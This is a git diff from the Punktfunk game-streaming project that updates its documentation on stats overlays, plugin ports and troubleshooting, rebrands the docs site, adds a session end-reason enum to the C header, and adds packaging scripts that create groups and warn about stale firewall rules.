Windows a host card's menu has **Copy link** and **Create shortcut…**. On macOS and iOS -the card menu has **Copy Link** (tvOS has no clipboard, so it isn't offered; the Android app has no -copy action yet). +the card menu has **Copy Link**; tvOS has no clipboard, so it isn't offered there. Android has +**Copy link** in both of its homes — the touch grid's card menu, and the controller home's host +options (press Up on a host's tile). -On Linux and Apple a pinned card has its own menu, and the link it hands out carries that card's -profile. Windows pinned tiles have no menu, and neither Windows action adds a `profile=`, so a +On Linux, Apple and Android a pinned card has its own menu, and the link it hands out carries that +card's profile. Windows pinned tiles have no menu, and neither Windows action adds a `profile=`, so a Windows link always uses the host's binding until you edit the URL yourself. A copied link carries the host's stable record id, plus `host=` and `fp=` (the fingerprint only when diff --git a/docs-site/content/docs/stats.md b/docs-site/content/docs/stats.md index fe85d8ce..dce3cccb 100644 --- a/docs-site/content/docs/stats.md +++ b/docs-site/content/docs/stats.md @@ -7,13 +7,20 @@ Every Punktfunk client has an in-stream stats overlay. All clients use **the sam vocabulary and the same four measurement points**, so a stage name on your phone means what the same name means on your desktop. -Two platforms differ in the *math*: on **iOS and tvOS** the headline is **floor-shaved**. -The fixed depth of Apple's present pipeline — roughly two refresh intervals, which no -client can pace under — is excluded from it, and the Detailed tier prints the excluded +Some platforms differ in the *math*: on **iOS, tvOS and Android** the headline is +**floor-shaved**. The depth of the OS present pipeline — the compositor's own wait, which +no client can pace under — is excluded from it, and the Detailed tier prints the excluded term on its own line as `os present +X.X excluded (display pipeline minimum)`. Add that -floor back before holding an iPhone, iPad or Apple TV's `capture→on-glass` next to a -macOS, Linux, Windows or Android one. (The macOS client shaves nothing: it presents -straight to the display, with no such pipeline depth to measure, so its numbers are raw.) +floor back before holding an iPhone, iPad, Apple TV or Android device's headline next to a +macOS, Linux or Windows one. (The macOS client shaves nothing: it presents straight to the +display, with no such pipeline depth to measure, so its numbers are raw.) + +The floor is **measured, not assumed**, and it is not small: it is commonly one to two +refresh intervals, which on a 60 Hz phone is more than 30 ms — enough on its own to dwarf +everything Moonlight's overlay displays. Charging it to the stream made Punktfunk look +slower than clients that simply never measure that far (see +[Comparing with Moonlight / Sunshine](#comparing-with-moonlight--sunshine)), so we report +it rather than bury it in the total. ## The four measurement points @@ -47,7 +54,7 @@ captured input, switch mouse mode, disconnect, mute the microphone — are in lost). **Normal** adds the stream line and the p50/p95 headline. **Detailed** adds the per-stage breakdown everywhere; on Linux/Windows it also adds the encoder's target bitrate, the decode path, an HDR tag and a chroma tag, on Android the decoder plus the full codec/bit-depth/colour line, and -on iOS/tvOS the excluded OS present floor. +on iOS, tvOS and Android the excluded OS present floor. You can also set the level a stream starts at in each client's [Settings](/docs/client-settings#overlay). The examples below are the **Detailed** view. @@ -68,14 +75,16 @@ present: mailbox lost 3 (2.4%) ``` -Android: +Android (headline and `display` both floor-shaved, like the Apple clients — the raw +end-to-end here is 30.9 ms, the 16.7 ms floor of a 120 Hz panel included): ``` 1920×1080@120 120 fps 24.3 Mb/s c2.qti.hevc.decoder · low-latency HEVC · 10-bit · HDR (BT.2020 PQ) · 4:2:0 end-to-end 14.2 ms p50 · 19.8 p95 · capture→displayed -= host 3.1 + network 6.7 + decode 2.1 + display 2.3 += host 3.1 + network 6.7 + decode 2.1 + display 2.3 · presents 119 +os present +16.7 excluded (display pipeline minimum) lost 3 (2.4%) · skipped 1 · FEC 12 ``` @@ -136,18 +145,22 @@ lost 3 (2.4%) the screen's refresh cycle, not the stream; a large `pace` is us. (`pace` is also the fair number to compare against an iPhone or iPad, whose figure already has its equivalent of `latch` removed.) - - `os present` *(iOS and tvOS)* — the fixed depth of the OS present pipeline, which is + - `os present` *(iOS, tvOS and Android)* — the depth of the OS present pipeline, which is excluded from both the headline and `display` and printed here so you can add it - back. + back. On Android it is the measured time SurfaceFlinger took to latch and scan out each + frame, so it moves with your panel's rate and with whatever low-latency mode the vendor + applied; on Apple it is measured from the display link's own lead. - `client queue` *(Apple only)* — how long a received frame waited before the decoder pulled it. It's the front part of `decode`, not time on top of it. Hidden below 2 ms; a value that persists is a standing receive backlog on the client. - - `display X (pace A + latch B)` and `presents N` *(Android only)* — when the timeline presenter - is running it splits `display` in two: `pace` is the wait it deliberately holds the frame for - its target refresh, `latch` is SurfaceFlinger picking it up and scanning it out. `presents` - counts the frames confirmed on glass this second — well below `fps` means the presenter is - dropping or serializing frames; an `fps` shortfall with `presents` keeping up is upstream of - the client. + - `presents N` *(Android only)* — the frames confirmed on glass this second. Well below `fps` + means the presenter is dropping or serializing frames; an `fps` shortfall with `presents` + keeping up is upstream of the client. + - `display X (pace A + latch B)` *(Android, only when the floor couldn't be measured)* — with + the floor excluded, Android's `display` term is already just `pace` (the wait the presenter + deliberately holds a frame for its target refresh) and `latch` is what the `os present` line + reports. On the rare window where no latch sample pairs up, nothing is excluded and `display` + reverts to the raw figure with both halves shown. Against an **older host** that doesn't report its share yet, the first two terms merge into a single `host+network` number (`host+net` on Linux/Windows) — same total, @@ -195,12 +208,13 @@ pretending: | Windows, Linux | `capture→on-glass` | present instant available (measured right after the Vulkan swapchain present); published raw | | macOS (Metal presenter) | `capture→on-glass` | present instant available (the system's on-glass time for the flip); published raw | | iOS/tvOS (Metal presenter) | `capture→on-glass` | present instant available, but the OS present floor is **excluded** from the number and printed separately as `os present +X.X excluded` | -| Android | `capture→displayed` | MediaCodec's per-frame render callback reports SurfaceFlinger's render timestamp; on the rare window where no callback is delivered (the platform may drop them under load) the HUD falls back to `capture→decoded` | +| Android | `capture→displayed` | MediaCodec's per-frame render callback reports SurfaceFlinger's render timestamp, and the OS present floor measured from it is **excluded** from the number and printed separately as `os present +X.X excluded`; on the rare window where no callback is delivered (the platform may drop them under load) the HUD falls back to `capture→decoded` | | macOS/iOS fallback presenter | `capture→received` | the system video layer hides decode and present timing entirely | A shorter chain means the number is **smaller because it measures less** — check the endpoint before comparing two devices, and add the excluded `os present` floor back to an -iOS or tvOS client's headline before holding it next to another platform's. +iOS, tvOS or Android client's headline before holding it next to a macOS, Linux or Windows +one. ## Comparing with Moonlight / Sunshine @@ -240,8 +254,8 @@ stands in for a one-way frame flight that Moonlight doesn't measure.) | `Frames dropped due to network jitter` | Decoded frames the *client's pacer* chose to drop ÷ decoded frames | `skipped` (line 4, Android only) | Approximately (both are client-side pacing decisions, despite Moonlight's name) | | `Average network latency` | The **control connection's round-trip time** (ENet RTT + variance) — not video frame latency | `network` (line 3) is the closest concept, but it's the *actual one-way frame path* (flight + reassembly), not an RTT | **No direct comparison.** Roughly, Punktfunk's `network` ≈ ½ × an idle RTT plus serialization time of the frame | | `Average decoding time` | Mean time from decoder enqueue to picture out | `decode` (p50) | Yes (mean vs median; both include decoder queueing) | -| `Average frame queue delay` | Mean time a decoded frame waits for its vsync slot | inside `display` | Sum the two Moonlight lines → | -| `Average rendering time (incl. V-sync latency)` | Mean duration of the present call | inside `display` | …and compare against Punktfunk's `display` | +| `Average frame queue delay` *(desktop only)* | Mean time a decoded frame waits for its vsync slot | inside `display` | Sum the two Moonlight lines → | +| `Average rendering time (incl. V-sync latency)` *(desktop only)* | Mean duration of the present call | inside `display` | …and compare against Punktfunk's `display` | | *(no equivalent)* | — | `end-to-end` — true capture→glass, clock-skew-corrected across machines | **Punktfunk only** | | *(no equivalent)* | — | `FEC` recovered shards (loss absorbed invisibly; Android only) | Punktfunk only | @@ -255,6 +269,14 @@ Other differences worth knowing when squinting at both overlays side by side: - **Host frame rate.** Moonlight's headline FPS estimates what the *host* produced (received + lost). Punktfunk shows what your client actually received, and reports loss separately. +- **On Android, Moonlight's numbers stop at the decoder.** The two lines above that cover + presentation are desktop-only: Moonlight's Android overlay measures nothing after the + decoder produces the picture, so no part of the wait for the screen appears anywhere in + it — and the popular Android forks measure the same slice. Its `Average decoding time` is + therefore comparable to Punktfunk's `decode`, and to nothing else; on Android there is no + Moonlight number that includes what your screen contributes. That asymmetry is why + Punktfunk excludes the `os present` floor on Android too, and why adding that floor back + is the right move when you want the whole truth rather than a like-for-like comparison. ## Recording a capture for a bug report diff --git a/docs-site/content/docs/troubleshooting.md b/docs-site/content/docs/troubleshooting.md index d4e8350f..a59de68c 100644 --- a/docs-site/content/docs/troubleshooting.md +++ b/docs-site/content/docs/troubleshooting.md @@ -259,6 +259,42 @@ Work through [Why the toggle does nothing](/docs/clipboard#why-the-toggle-does-nothing-or-is-greyed-out) — it also names the clients and host sessions where nothing crosses no matter what you set. +## A plugin's interface doesn't load + +The plugin's page in the console opens — title, version, **Open in new tab** — but the panel below +it stays empty. + +Plugin interfaces are served on **TCP 47993**, a separate port from the console's 47992, so that a +plugin can't act as you with your logged-in session (see +[Two ports, not one](/docs/web-console#two-ports-not-one)). An empty panel means the browser can't +load anything from that second port. Two reasons, in order of likelihood: + +- **The port isn't open.** Only the console's port is reachable, so the frame has nothing to show. + On a host you *upgraded*, this is the usual answer: an already-open firewall does not pick up a + port that a later version added, because the rule it saved lists the ports it knew at the time. + + ```sh + # ufw (CachyOS, Ubuntu): re-expand the profile, then reload + sudo ufw app update punktfunk-web && sudo ufw reload + + # firewalld (Fedora, Bazzite, Nobara): re-read the shipped service definition + sudo firewall-cmd --reload + ``` + + ```powershell + # Windows: re-run the service installer, which re-adds both console rules + punktfunk-host service install + ``` + + Check what's actually open with `sudo ufw status verbose` or + `sudo firewall-cmd --info-service=punktfunk-web` — you want **47993** listed next to 47992. +- **The certificate isn't trusted for that port yet.** Browsers keep a self-signed certificate + exception *per port*, and a warning page can't be shown inside a panel. The console detects this + and offers a link to open the plugin in its own tab: accept the warning there once and come back. + +If the panel is empty and the console shows *no* explanation at all, the plugin's own port is +probably being dropped rather than refused — open 47993 as above. + ## Pairing is rejected / the client can't connect - The host **requires pairing** by default. Arm pairing from the web console, then enter the PIN on diff --git a/docs-site/content/docs/web-console.md b/docs-site/content/docs/web-console.md index c52bd739..f398face 100644 --- a/docs-site/content/docs/web-console.md +++ b/docs-site/content/docs/web-console.md @@ -14,6 +14,27 @@ game-library browsing to paired clients. > New here? Read [Security & Safe Use](/docs/security) first — a streaming host is remote control of > the machine, so keep it on a trusted LAN or VPN and require pairing. +## Two ports, not one + +The console also listens on **TCP 47993**, and plugin interfaces are served from there — same host, +same certificate, **different port**. + +That is a deliberate boundary rather than a second console. A plugin's interface is third-party +code, and on the console's own port the browser would treat it as part of the console: it could act +as you, with your logged-in session, against every admin action the console can reach. A different +port is a different *origin*, so the browser itself keeps the two apart — while staying the same +*site*, which is what lets your login still carry over so you don't sign in twice. + +What this means in practice: + +- **Open 47993 alongside 47992** on the host's firewall if you browse the console from another + device. The packaged firewall profiles already list both. +- **Trust the certificate twice.** Browsers store a self-signed certificate exception *per port*. + The first time you open a plugin, the console will notice it can't reach 47993 yet and offer a + link to open it in a tab — accept the warning there once, come back, and it works from then on. +- If a plugin's page is an empty panel, see + [A plugin's interface doesn't load](/docs/troubleshooting#a-plugins-interface-doesnt-load). + ## Enable the console - **Linux packages (apt / RPM / Bazzite):** on Ubuntu the host package is `punktfunk-host` diff --git a/docs-site/package.json b/docs-site/package.json index a3352690..1950e5c7 100644 --- a/docs-site/package.json +++ b/docs-site/package.json @@ -2,7 +2,7 @@ "name": "punktfunk-docs", "private": true, "type": "module", - "description": "punktfunk documentation site — Fumadocs on TanStack Start (Vite + Nitro/bun)", + "description": "Punktfunk documentation site — Fumadocs on TanStack Start (Vite + Nitro/bun)", "scripts": { "dev": "vite dev --port 3001", "build": "vite build", diff --git a/docs-site/src/components/BrandMark.tsx b/docs-site/src/components/BrandMark.tsx index bee28917..3b41e719 100644 --- a/docs-site/src/components/BrandMark.tsx +++ b/docs-site/src/components/BrandMark.tsx @@ -1,17 +1,17 @@ -// punktfunk brand mark: two overlapping circles forming a lens — the violet +// Punktfunk brand mark: two overlapping circles forming a lens — the violet // brand identity. Copied verbatim from the marketing site (flattened from the // clients/apple punktfunk_Logo.icon). Back-to-front: large light-violet circle, // deep-violet circle, light highlight where they overlap. export default function BrandMark({ className }: { className?: string }) { return ( - punktfunk + Punktfunk - punktfunk + Punktfunk diff --git a/docs-site/src/lib/cms.ts b/docs-site/src/lib/cms.ts index c37ebcd9..a47031eb 100644 --- a/docs-site/src/lib/cms.ts +++ b/docs-site/src/lib/cms.ts @@ -1,4 +1,4 @@ -// The docs reuse the punktfunk footer from the shared unom CMS (cms.unom.io). +// The docs reuse the Punktfunk footer from the shared unom CMS (cms.unom.io). // The footer shape comes from @unom/app-ui/footer so the docs and the marketing // site share one type. The CMS is multi-tenant: footer is a per-tenant // collection, so scope the read to this project's tenant. Read-only GET, so a diff --git a/docs-site/src/lib/layout.shared.tsx b/docs-site/src/lib/layout.shared.tsx index b5e95650..298233cd 100644 --- a/docs-site/src/lib/layout.shared.tsx +++ b/docs-site/src/lib/layout.shared.tsx @@ -3,7 +3,7 @@ import BrandMark from '@/components/BrandMark' import Wordmark from '@/components/Wordmark' // Shared chrome (nav title, links) for both the docs layout and the home layout. -// The lens mark + wordmark mirror the punktfunk marketing site's header. +// The lens mark + wordmark mirror the Punktfunk marketing site's header. export function baseOptions(): BaseLayoutProps { return { nav: { diff --git a/docs-site/src/routes/__root.tsx b/docs-site/src/routes/__root.tsx index 2d20289d..763a3e32 100644 --- a/docs-site/src/routes/__root.tsx +++ b/docs-site/src/routes/__root.tsx @@ -30,7 +30,7 @@ export const Route = createRootRoute({ { charSet: 'utf-8' }, { name: 'viewport', content: 'width=device-width, initial-scale=1' }, { name: 'color-scheme', content: 'dark light' }, - { title: 'punktfunk docs' }, + { title: 'Punktfunk Docs' }, ], links: [ { rel: 'stylesheet', href: appCss }, diff --git a/docs-site/src/routes/api/index.tsx b/docs-site/src/routes/api/index.tsx index 8e215c39..01ed4c32 100644 --- a/docs-site/src/routes/api/index.tsx +++ b/docs-site/src/routes/api/index.tsx @@ -13,18 +13,18 @@ export const Route = createFileRoute('/api/')({ component: ApiReference, head: () => ({ meta: [ - { title: 'punktfunk — Management API reference' }, + { title: 'Punktfunk — Management API Reference' }, { name: 'description', content: - 'Interactive reference for the punktfunk host management REST API (OpenAPI).', + 'Interactive reference for the Punktfunk host management REST API (OpenAPI).', }, ], links: [{ rel: 'stylesheet', href: scalarCss }], }), }) -// The full punktfunk theme rolled out onto Scalar — the same dark-violet (and +// The full Punktfunk theme rolled out onto Scalar — the same dark-violet (and // light-lavender) product chrome as the docs/management console. // // IMPORTANT: Scalar toggles `.light-mode` / `.dark-mode` on `document.body`, @@ -191,7 +191,7 @@ function ApiReference() { url: '/openapi.json', darkMode: isDark, hideDarkModeToggle: true, - metaData: { title: 'punktfunk Management API' }, + metaData: { title: 'Punktfunk Management API' }, hideDownloadButton: false, customCss: SCALAR_CSS, }), @@ -200,13 +200,13 @@ function ApiReference() { return (
- {/* Slim branded bar so the reference stays inside the punktfunk identity + {/* Slim branded bar so the reference stays inside the Punktfunk identity and links back into the docs. */}
diff --git a/docs-site/src/styles/app.css b/docs-site/src/styles/app.css index ce3c96a2..aff2b6d3 100644 --- a/docs-site/src/styles/app.css +++ b/docs-site/src/styles/app.css @@ -4,12 +4,12 @@ /* Pull Fumadocs UI's own classes — and @unom/ui's compiled components — into the Tailwind 4 scan so their utilities aren't purged. @unom/ui is the shared - design-token system the punktfunk marketing site also builds on. */ + design-token system the Punktfunk marketing site also builds on. */ @source '../../node_modules/fumadocs-ui/dist/**/*.js'; @source '../../node_modules/@unom/ui/dist/**/*.{js,mjs}'; @source '../../node_modules/@unom/app-ui/dist/**/*.{js,mjs}'; -/* ── punktfunk brand ──────────────────────────────────────────────────────── +/* ── Punktfunk brand ──────────────────────────────────────────────────────── The brand colour is the violet lens mark. (The marketing site's blue is just a page background, not the brand.) These values feed both @unom/ui's semantic token contract (--brand/--primary/--accent/--highlight) and the Fumadocs @@ -61,7 +61,7 @@ } @theme { - /* Geist — the punktfunk brand typeface, same as the marketing site + /* Geist — the Punktfunk brand typeface, same as the marketing site (the @fontsource-variable/geist face is loaded in __root.tsx). */ --font-sans: 'Geist Variable', ui-sans-serif, system-ui, sans-serif; --font-display: 'Geist Variable', ui-sans-serif, system-ui, sans-serif; diff --git a/include/punktfunk_core.h b/include/punktfunk_core.h index cb749cdd..1e6d31c0 100644 --- a/include/punktfunk_core.h +++ b/include/punktfunk_core.h @@ -76,7 +76,14 @@ // capability-gated end to end: the wire grows a new datagram tag (0xD1) an old client never // receives (double-gated caps), a new 0xCD kind (0x06, dropped as unknown by old clients) and // arrival flag bits 8/9 sent only toward a capable host, so [`WIRE_VERSION`] is unchanged. -#define PUNKTFUNK_ABI_VERSION 16 +// v17: added `punktfunk_connection_end_reason` + the `PUNKTFUNK_END_REASON_*` vocabulary — asks, +// once a session has ended, WHY: this client closed it, the host's launched game exited (its close +// carried [`quic::APP_EXITED_CLOSE_CODE`], which the host has sent since long before this bump +// with nothing consuming it), the host ended it cleanly, the host reported a failure, or the +// connection was simply lost. Purely a read of state the core already had: no new call is required +// of an embedder, a client that never calls it is unchanged, and the host sends exactly the same +// bytes either way, so [`WIRE_VERSION`] is unchanged. +#define PUNKTFUNK_ABI_VERSION 17 // The punktfunk/1 **wire** version — what `Hello`/`Welcome` carry and hosts equality-check. // Deliberately its own constant: [`ABI_VERSION`] tracks the embeddable **C surface** @@ -1617,6 +1624,63 @@ typedef uint8_t PunktfunkInputKind; #endif // __STDC_VERSION__ >= 202311L #endif // __cplusplus +#if defined(PUNKTFUNK_FEATURE_QUIC) +// Why a session ended — [`NativeClient::end_reason`], and `punktfunk_connection_end_reason` on the +// C surface. +// +// The distinction that matters to a UI is **normal vs alarming**, and it is not a spectrum: a +// player quitting their game and a host falling off the network both arrive as "the session +// ended", and a client with no way to separate them has to word all of them the same. Every client +// worded them as failures. +// +// Ordered loosely from "the user did this on purpose" to "something went wrong". Values are part +// of the C ABI: append only, never renumber. +enum PunktfunkEndReason +#if defined(__cplusplus) || __STDC_VERSION__ >= 202311L + : uint8_t +#endif // defined(__cplusplus) || __STDC_VERSION__ >= 202311L + { +#if defined(PUNKTFUNK_FEATURE_QUIC) + // Not ended (or ended before a reason could be observed). Also what an unknown future value + // decodes to, so an older client reading a newer core degrades to "no opinion". + PUNKTFUNK_END_REASON_NONE = 0, +#endif +#if defined(PUNKTFUNK_FEATURE_QUIC) + // **This client** closed the session — the user pressed stop, or the handle was dropped. + // Nothing to report: the UI already knows, it initiated it. + PUNKTFUNK_END_REASON_LOCAL = 1, +#endif +#if defined(PUNKTFUNK_FEATURE_QUIC) + // The host's launched game exited ([`crate::quic::APP_EXITED_CLOSE_CODE`]). A normal finish, + // and the one reason a launcher client can act on: go back to the library the title was + // launched from rather than all the way out to host selection. + PUNKTFUNK_END_REASON_GAME_EXITED = 2, +#endif +#if defined(PUNKTFUNK_FEATURE_QUIC) + // The host ended the session cleanly and deliberately — an operator "End" in the console, or + // the session simply finishing. Normal; say so plainly or say nothing. + PUNKTFUNK_END_REASON_HOST_ENDED = 3, +#endif +#if defined(PUNKTFUNK_FEATURE_QUIC) + // The host closed reporting a failure of its own. Worth showing, and the host's log has the + // detail. + PUNKTFUNK_END_REASON_HOST_ERROR = 4, +#endif +#if defined(PUNKTFUNK_FEATURE_QUIC) + // The connection died rather than being closed: idle timeout, reset, the network going away. + // This — and only this — is the "the host may be asleep, wake it" case. + PUNKTFUNK_END_REASON_LOST = 5, +#endif +}; +#ifndef __cplusplus +#if __STDC_VERSION__ >= 202311L +typedef enum PunktfunkEndReason PunktfunkEndReason; +#else +typedef uint8_t PunktfunkEndReason; +#endif // __STDC_VERSION__ >= 202311L +#endif // __cplusplus +#endif + #if defined(PUNKTFUNK_FEATURE_QUIC) // Per-session colour signalling (CICP / ITU-T H.273 code points) the host resolved for the // encoded video, carried on [`Welcome`]. A client configures its decoder/presenter from these @@ -2517,6 +2581,28 @@ PunktfunkStatus punktfunk_connection_next_audio(PunktfunkConnection *c, PunktfunkStatus punktfunk_connection_audio_channels(PunktfunkConnection *c, uint8_t *out); #endif +#if defined(PUNKTFUNK_FEATURE_QUIC) +// WHY this session ended: `*out` receives a [`PunktfunkEndReason`] byte +// (`PUNKTFUNK_END_REASON_*`). The return status reports only whether the handle was usable. +// +// Read it once a plane has returned [`PunktfunkStatus::Closed`] (or the embedder's own +// end-of-session signal fired); before that it reads `NONE`. It latches, so it is still readable +// while the connection is torn down, and a client that never calls it behaves exactly as it did +// before this existed. +// +// **Most endings are not failures.** Before this, a client had no way to tell a player quitting +// their game from a host falling off the network, so every client wrote one message for all of +// them and every client chose an error. Use `LOCAL`/`GAME_EXITED`/`HOST_ENDED` to stay quiet (and +// `GAME_EXITED` to return to the library the title was launched from), and keep the alarming copy +// for `HOST_ERROR` and `LOST`. +// +// Treat an unrecognized value as `NONE` — this crosses an ABI and the core may be newer than you. +// +// # Safety +// `c` is a valid connection handle; `out` is NULL or writable for one `u8`. +PunktfunkStatus punktfunk_connection_end_reason(PunktfunkConnection *c, uint8_t *out); +#endif + #if defined(PUNKTFUNK_FEATURE_QUIC) // Pull the next audio frame and **decode it in-core** to interleaved f32 PCM — for embedders // without a multistream-capable Opus decoder (e.g. Apple, whose AudioToolbox Opus path is @@ -2527,6 +2613,13 @@ PunktfunkStatus punktfunk_connection_audio_channels(PunktfunkConnection *c, uint // [`punktfunk_connection_next_audio`] on a given connection, from one dedicated audio thread — // not both (they share the underlying queue). // +// **Loss concealment**: packets the wire lost (a gap in the sequence, after the redundant-plane +// recovery has had its chance) are synthesized via libopus packet-loss concealment and returned +// IN FRONT of the arriving frame in the same buffer — `out->frame_count` then covers the +// concealed frames plus the real one (`out->seq`/`out->pts_ns` are the real packet's). The +// embedder just writes the whole buffer to its ring, same as any other frame; gaps arrive +// pre-healed, exactly as they do on the clients that decode outside core. +// // # Safety // `c` is a valid connection handle; `out` is writable. At most one thread pulls audio. PunktfunkStatus punktfunk_connection_next_audio_pcm(PunktfunkConnection *c, diff --git a/packaging/arch/punktfunk-host.install b/packaging/arch/punktfunk-host.install index efea5722..07af7c24 100644 --- a/packaging/arch/punktfunk-host.install +++ b/packaging/arch/punktfunk-host.install @@ -4,8 +4,17 @@ _ensure_update_group() { getent group punktfunk-update >/dev/null 2>&1 || groupadd --system punktfunk-update 2>/dev/null || true } +_ensure_punktfunk_group() { + # Owns the usbip vhci attach/detach nodes (60-punktfunk.rules). Separate from 'input' on + # purpose: writing 'attach' materialises an arbitrary emulated USB device, which is a root-only + # kernel primitive and must not ride on the group users are told to join for gamepads + # (security-review 2026-08-05 M-4). + getent group punktfunk >/dev/null 2>&1 || groupadd --system punktfunk 2>/dev/null || true +} + post_install() { _ensure_update_group + _ensure_punktfunk_group udevadm control --reload-rules 2>/dev/null || true udevadm trigger --subsystem-match=misc 2>/dev/null || true # Apply the UDP socket-buffer tuning now (also auto-applied at boot by systemd-sysctl). @@ -14,6 +23,9 @@ post_install() { punktfunk-host installed. 1. Add yourself to the 'input' group for virtual gamepads: sudo usermod -aG input "$USER" # then re-login + Only if you want the virtual Steam Deck pad (usbip), ALSO join 'punktfunk': + sudo usermod -aG punktfunk "$USER" + That group can emulate arbitrary USB devices — join it only on a machine you trust. 2. Pick a backend config (gamescope is the no-desktop default on SteamOS/Deck): mkdir -p ~/.config/punktfunk cp /usr/share/punktfunk/host.env.bazzite ~/.config/punktfunk/host.env @@ -57,4 +69,48 @@ post_upgrade() { _ensure_update_group udevadm control --reload-rules 2>/dev/null || true sysctl -p /usr/lib/sysctl.d/99-punktfunk-net.conf >/dev/null 2>&1 || true + _warn_stale_firewall_ports +} + +# An already-open firewall does NOT pick up a port we added to a profile. +# +# ufw expands an app profile into concrete rules when you run `ufw allow`, and stores THOSE. Editing +# /etc/ufw/applications.d later — which is all a package upgrade does — changes nothing about the +# rules already installed. firewalld is friendlier (its permanent config names the service, so a +# reload re-reads the XML) but still needs that reload. Either way the operator has an old rule and +# no reason to suspect it. +# +# That is not hypothetical: 47993 (plugin UIs, a separate origin from the console) arrived exactly +# this way, and on an upgraded ufw box every plugin interface silently became an empty panel in the +# console. So on upgrade, look at what is actually open and say so — still without touching the +# running firewall, which stays the operator's call. +_warn_stale_firewall_ports() { + # `ufw status verbose` prints each rule with its EXPANDED ports — "47992/tcp (punktfunk-web)" + # before the refresh, "47992,47993/tcp (punktfunk-web)" after — so one listing answers both "is + # the profile allowed at all" and "does that rule know the new port". (Plain `ufw status` prints + # the profile NAME instead, which cannot tell the two apart.) + if command -v ufw >/dev/null 2>&1 && + ufw status verbose 2>/dev/null | grep -q 'punktfunk-web' && + ! ufw status verbose 2>/dev/null | grep -q '47993'; then + cat <<'MSG' + +punktfunk: your ufw rule for 'punktfunk-web' predates TCP 47993, the separate origin plugin UIs +are served from. Until it is refreshed, plugin interfaces will not load in the web console: + sudo ufw app update punktfunk-web && sudo ufw reload +MSG + fi + # `--info-service` asks the DAEMON, which answers from the definition it loaded at its last + # (re)start — precisely the stale copy we are warning about. The file on disk already says 47993. + if command -v firewall-cmd >/dev/null 2>&1 && + firewall-cmd --state >/dev/null 2>&1 && + firewall-cmd --query-service=punktfunk-web >/dev/null 2>&1 && + ! firewall-cmd --info-service=punktfunk-web 2>/dev/null | grep -q '47993'; then + cat <<'MSG' + +punktfunk: the punktfunk-web firewalld service now also covers TCP 47993, the separate origin +plugin UIs are served from. Reload so the running firewall picks it up, or plugin interfaces will +not load in the web console: + sudo firewall-cmd --reload +MSG + fi } diff --git a/packaging/bazzite/build-sysext.sh b/packaging/bazzite/build-sysext.sh index 6d043bac..c88acd62 100644 --- a/packaging/bazzite/build-sysext.sh +++ b/packaging/bazzite/build-sysext.sh @@ -98,6 +98,23 @@ if [ -n "$GAMESCOPE" ]; then install -Dm0755 "$GAMESCOPE" "$STAGE/usr/bin/punktfunk-gamescope" fi +# Enable the plugin/script runner for every user, by baking its `[Install] WantedBy=default.target` +# symlink straight into the image. +# +# A sysext carries only /usr, and RPM scriptlets never run from one — so the `systemctl --global +# enable` the .rpm/.deb do at install time has no equivalent here, and without this the runner would +# ship present-but-off on exactly the platform (Bazzite / Fedora Atomic) where an operator is least +# likely to go hunting for it. The game-library scanners are plugins now (design D9), so an +# unenabled runner means an empty library. +# +# Opt-out is unchanged and still wins: `systemctl --user mask punktfunk-scripting` in the user's own +# ~/.config/systemd/user takes precedence over anything under /usr. +if [ -f "$STAGE/usr/lib/systemd/user/punktfunk-scripting.service" ]; then + install -d "$STAGE/usr/lib/systemd/user/default.target.wants" + ln -sf ../punktfunk-scripting.service \ + "$STAGE/usr/lib/systemd/user/default.target.wants/punktfunk-scripting.service" +fi + # Self-update: the helper rides inside the image. install -Dm0755 "$HERE/punktfunk-sysext.sh" "$STAGE/usr/bin/punktfunk-sysext" diff --git a/packaging/debian/build-deb.sh b/packaging/debian/build-deb.sh index 75030405..8ebdaac5 100755 --- a/packaging/debian/build-deb.sh +++ b/packaging/debian/build-deb.sh @@ -289,6 +289,11 @@ set -e if [ "$1" = "configure" ]; then # The (empty) opt-in group for web-console-triggered updates — nobody is auto-added. getent group punktfunk-update >/dev/null 2>&1 || addgroup --system punktfunk-update 2>/dev/null || true + # Owns the usbip vhci attach/detach nodes (60-punktfunk.rules). Deliberately NOT 'input': + # writing 'attach' materialises an arbitrary emulated USB device — a root-only kernel + # primitive that must not ride on the group users are told to join for gamepads + # (security-review 2026-08-05 M-4). + getent group punktfunk >/dev/null 2>&1 || addgroup --system punktfunk 2>/dev/null || true # Pick up the /dev/uinput rule without a reboot (best-effort, no-op in containers). udevadm control --reload-rules 2>/dev/null || true udevadm trigger --subsystem-match=misc 2>/dev/null || true @@ -296,6 +301,8 @@ if [ "$1" = "configure" ]; then sysctl -p /usr/lib/sysctl.d/99-punktfunk-net.conf >/dev/null 2>&1 || true echo "punktfunk-host installed. Add yourself to the 'input' group for virtual gamepads:" echo " sudo usermod -aG input \"\$USER\" # then re-login" + echo "For the virtual Steam Deck pad (usbip) ALSO: sudo usermod -aG punktfunk \"\$USER\"" + echo " — that group can emulate arbitrary USB devices; join it only on a machine you trust." echo "Config: mkdir -p ~/.config/punktfunk && cp /usr/share/punktfunk-host/host.env.example ~/.config/punktfunk/host.env" echo "Enable: systemctl --user enable --now punktfunk-host" # Debian ships no active firewall and Ubuntu's ufw is inactive by default; hint whichever is present. @@ -307,6 +314,29 @@ if [ "$1" = "configure" ]; then echo " sudo firewall-cmd --permanent --add-service=punktfunk-native && sudo firewall-cmd --reload" echo " (use punktfunk-gamestream for the Moonlight-compat host)" fi + # An ALREADY-OPEN firewall does not pick up a port we later added to a profile. ufw expands an + # app profile into concrete rules at `ufw allow` time and keeps those, so editing + # /etc/ufw/applications.d on upgrade changes nothing; firewalld re-reads its XML, but only on a + # reload. 47993 (the separate origin plugin UIs are served from) arrived exactly this way, and + # an unrefreshed rule turns every plugin interface in the console into an empty panel. + # `ufw status verbose` prints expanded ports, so it can tell "allowed" from "allowed, stale". + if command -v ufw >/dev/null 2>&1 && + ufw status verbose 2>/dev/null | grep -q 'punktfunk-web' && + ! ufw status verbose 2>/dev/null | grep -q '47993'; then + echo "" + echo "punktfunk: your ufw rule for 'punktfunk-web' predates TCP 47993 (plugin UIs, served" + echo " from their own origin). Plugin interfaces will not load in the console until:" + echo " sudo ufw app update punktfunk-web && sudo ufw reload" + fi + # --info-service answers from the definition the daemon loaded, i.e. the stale one. + if command -v firewall-cmd >/dev/null 2>&1 && + firewall-cmd --state >/dev/null 2>&1 && + firewall-cmd --query-service=punktfunk-web >/dev/null 2>&1 && + ! firewall-cmd --info-service=punktfunk-web 2>/dev/null | grep -q '47993'; then + echo "" + echo "punktfunk: the punktfunk-web firewalld service now also covers TCP 47993 (plugin UIs)." + echo " Plugin interfaces will not load in the console until: sudo firewall-cmd --reload" + fi # Conflicting Moonlight-compatible host (Sunshine/Apollo/...): 